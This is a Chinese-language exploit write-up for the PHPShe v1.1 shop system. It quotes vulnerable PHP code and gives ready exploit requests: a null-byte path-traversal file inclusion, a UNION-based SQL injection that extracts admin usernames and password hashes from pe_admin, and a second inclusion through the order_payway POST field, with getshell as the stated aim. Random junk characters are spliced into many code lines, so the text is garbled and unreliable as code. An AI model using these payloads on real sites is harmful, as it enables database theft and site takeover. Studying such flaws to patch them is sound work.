phpshe v1.1多处SQL注入和文件包含漏洞Getshell

admin

/*******************************************************/
/* Phpshe v1.1 Vulnerability
/* ========================
/* By: : Kn1f3
/* E-Mail : 681796@qq.com
, ]: g) A( b2 q% j6 n. t" `/*******************************************************/
0×00 整体大概参数传输
; E) U: ]; G/ |& C" L4 N; C


, R0 v- `, ^% R' V2 U# n4 c: \//common.php
if (get_magic_quotes_gpc()) {
) j' b( X8 D& z9 G/ t% H# F!empty($_GET) && extract(pe_trim(pe_stripslashes($_GET)), EXTR_PREFIX_ALL, '_g');
$ O# y0 B: v; U6 G( r1 O% I( U!empty($_POST) && extract(pe_trim(pe_stripslashes($_POST)), EXTR_PREFIX_ALL, '_p');
}
8 Z% m4 C/ T* q/ p, celse {
4 d+ C3 |- o: `; v7 b! ^1 O4 p/ V# ?: i!empty($_GET) && extract(pe_trim($_GET),EXTR_PREFIX_ALL,'_g');
1 r! A( i+ `! i+ c!empty($_POST) && extract(pe_trim($_POST),EXTR_PREFIX_ALL,'_p');
}
8 S4 w0 }- Q, R. g3 H9 M  Fsession_start();
!empty($_SESSION) && extract(pe_trim($_SESSION),EXTR_PREFIX_ALL,'_s');
% r( p0 C. J6 r! Y2 I6 _1 s!empty($_COOKIE) && extract(pe_trim(pe_stripslashes($_COOKIE)),EXTR_PREFIX_ALL,'_c');

0×01 包含漏洞


//首页文件
<!--?php include('common.php'); $cache_category = cache::get('category'); $cache_category_arr = cache::get('category_arr'); $cache_class = cache::get('class'); $cache_ad = cache::get('ad'); $cache_link = cache::get('link'); $cache_page = cache::get('page'); $web_qq = $cache_setting['web_qq']['setting_value'] ? explode(',', $cache_setting['web_qq']['setting_value']) : array(); $cart_num = pe_login('user') ? $db--->pe_num('cart', array('user_id'=>$_s_user_id)) : (unserialize($_c_cart_list) ? count(unserialize($_c_cart_list)) : 0);
include("{$pe['path_root']}module/{$module}/{$mod}.php");  //$mod可控造成“鸡肋”包含漏洞
pe_result();
?>
//common 文件 第15行开始
5 h" ]; s. R1 i" y8 I( y! B% ?url路由配置
$module = $mod = $act = 'index';
3 ~. B8 r) E( Y3 |' @$ v$mod = $_POST['mod'] ? $_POST['mod'] : ($_GET['mod'] ? $_GET['mod'] : $mod);
$act = $_POST['act'] ? $_POST['act'] : ($_GET['act'] ? $_GET['act'] : $act);
$id = $_POST['id'] ? $_POST['id'] : ($_GET['id'] ? $_GET['id'] : $id);
( v6 I9 \" v9 G, j: V7 S# ~2 U9 `//exp：http://127.0.0.1/phpshe_v1.1/index.php?mod=../../robots.txt%00

) i0 l2 o' `( t4 {
0×02 搜索注入

<code id="code2">

//product.php文件
case 'list':
9 W* l5 @% {6 z$category_id = intval($id);
$info = $db->pe_select('category', array('category_id'=>$category_id));
//搜索
$sqlwhere = " and `product_state` = 1";
- K% a4 M! \, c) A7 o5 a6 {9 Bpe_lead('hook/category.hook.php');
2 \4 h! b7 i. \! H0 a) {if ($category_id) {
4 f; v1 W1 q: `8 ]3 U% c& Rwhere .= is_array($category_cidarr = category_cidarr($category_id)) ? " and `category_id` in('".implode("','", $category_cidarr)."')" : " and `category_id` = '{$category_id}'";
}
) z6 r6 ]& T9 ?4 {8 b7 Q$_g_keyword && $sqlwhere .= " and `product_name` like '%{$_g_keyword}%'"; //keyword变量未进行有效的sql语句过滤
if ($_g_orderby) {
$orderby = explode('_', $_g_orderby);
$sqlwhere .= " order by `product_{$orderby[0]}` {$orderby[1]}";
, P8 [- x+ W7 j2 [1 Y5 ]! B4 e}
! k" n/ A0 g- n# X# D' lelse {
' n2 m# J5 K8 _; {% z$sqlwhere .= " order by `product_id` desc";
- {5 o* d! m/ ]" s/ }& D}
$info_list = $db->pe_selectall('product', $sqlwhere, '*', array(16, $_g_page));
( o. m) v) p, c+ ]# t( {; T8 }//热卖排行
* ^" m0 W; ~1 B5 x: C+ X; ?1 k$product_hotlist = product_hotlist();
) E" Q& ~7 \5 K# u( t$ E//当前路径
0 ]4 ?. c) G0 ~, C$nowpath = category_path($category_id);
, f4 f) u. Z* [; P$seo = pe_seo($info['category_name']);
include(pe_tpl('product_list.html'));
7 C1 i# [, s, Z% w# L5 P//跟进selectall函数库
1 m& P, Y) b! [0 D6 B5 @public function pe_selectall($table, $where = '', $field = '*', $limit_page = array())
{
//处理条件语句
  A3 b$ k* P4 P1 U$sqlwhere = $this->_dowhere($where);
return $this->sql_selectall("select {$field} from `".dbpre."{$table}` {$sqlwhere}", $limit_page);
}
4 H3 w+ H/ n# u0 F//exp
product/list?keyword=kn1f3'+union+select+1,2,3,4,5,(select+concat(admin_name,0x27,admin_pw,0x27)+from+pe_admin),7,8,9,10,11,12,13,14,15,16,17,18,19 and+'1'='1

</code>

0×03 包含漏洞2

<code id="code3">

//order.php

case 'pay':

( W; L" j5 M5 N. Y. c+ }8 @$order_id = pe_dbhold($_g_id);

$cache_payway = cache::get('payway');

foreach($cache_payway as $k => $v) {

$cache_payway[$k]['payway_config'] = unserialize($cache_payway[$k]['payway_config']);

9 i! R. H% S6 Q. L* ~1 w: |if ($k == 'bank') {

$cache_payway[$k]['payway_config']['bank_text'] = str_replace(array("\r", "\n", "\t"), '\n', $cache_payway[$k]['payway_config']['bank_text']);

}

}

- b3 e. c& l# D1 w0 J$order = $db->pe_select('order', array('order_id'=>$order_id, 'order_state'=>'notpay'));

!$order['order_id'] && pe_error('订单号错误...');

if (isset($_p_pesubmit)) {

if ($db->pe_update('order', array('order_id'=>$order_id), $_p_info)) {

; ]" l6 K! S" u7 s- ?7 \3 k$info_list = $db->pe_selectall('orderdata', array('order_id'=>$order_id));

foreach ($info_list as $v) {

$order['order_name'] .= "{$v['product_name']};";

}

echo '正在为您连接支付网站，请稍后...';

3 [  s* X# m: iinclude("{$pe['path_root']}include/plugin/payway/{$_p_info['order_payway']}/order_pay.php");

}//当一切准备好的时候就可以进行"鸡肋包含了"

else {

% Z8 E- t+ h8 V. c3 npe_error('支付错误...');

" O- V0 U* e# e  x}

}

7 I, W- x8 e" u9 ?2 p/ }$seo = pe_seo('选择支付方式');

( U: {0 l/ ~6 o! X- ^$ Qinclude(pe_tpl('order_pay.html'));

9 Z# v: `9 G4 G* p+ P$ n, bbreak;

}

//exp：

//http://127.0.0.1/phpshe_v1.1/index.php?mod=order&act=pay&id=1304070001

//info%5Border_payway%5D=alipay/../../../1.txt%00&pesubmit=%E7%AB%8B%E5%8D%B3%E6%94%AF%E4%BB%98</code>
1 C. v. i9 Z) z# e5 Thttp://www.myhack58.com/Article/UploadPic/2013-4/20134161293183866.jpg